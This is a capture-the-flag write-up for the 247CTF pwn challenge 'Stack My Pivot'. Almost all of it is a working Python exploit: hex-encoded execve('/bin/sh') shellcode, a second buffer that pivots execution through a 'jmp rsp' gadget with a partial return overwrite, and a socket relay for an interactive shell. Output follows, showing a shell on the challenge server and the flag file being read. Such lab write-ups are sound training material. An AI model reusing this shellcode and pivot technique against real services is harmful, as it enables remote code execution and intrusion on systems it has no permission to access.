Stack My Pivot (pwn)
Intro
My solution of a Pwn challenge Stack My Pivot on the CTF site 247CTF.com.
Instructions
To protect against overflow attacks, we are limiting the number of bytes our applications will read. Is there still enough space to do something useful?
Exploit
#!/usr/bin/env python3
# No dependencies. Usage: python3 solve.py <host> <port>
import socket, sys, select
host, port = sys.argv[1], int(sys.argv[2])
# buffer1: execve("/bin/sh") shellcode, padded to 50 bytes
b1 = bytes.fromhex("4881ec0002000031f65648bf2f62696e2f2f736857545f31d26a3b580f05" + "90"*20)
# buffer2: [junk][jmp rsp 0x400738][EB AE -> shellcode][junk][partial ret 0x400732]
b2 = bytes.fromhex("42424242424242423807400000000000ebae43434343434332074000")
s = socket.create_connection((host, port))
s.recv(4096) # "first name?" prompt
s.send(b1)
s.recv(4096) # "surname?" prompt
s.send(b2)
# interactive: relay stdin <-> socket
print("[*] shell should be live — type: id / ls / cat flag*", file=sys.stderr)
while True:
r, _, _ = select.select([s, sys.stdin], [], [])
if s in r:
d = s.recv(4096)
if not d:
break
sys.stdout.buffer.write(d); sys.stdout.buffer.flush()
if sys.stdin in r:
line = sys.stdin.readline()
if not line:
break
s.send(line.encode())
python3 exploit.py a81eb7ede760767e.247ctf.com 50430
[*] shell should be live — type: id / ls / cat flag*
id
uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
ls
chall
flag_c70afb0c5571e8e1c.txt
cat flag_c70afb0c5571e8e1c.txt
247CTF{xxxx}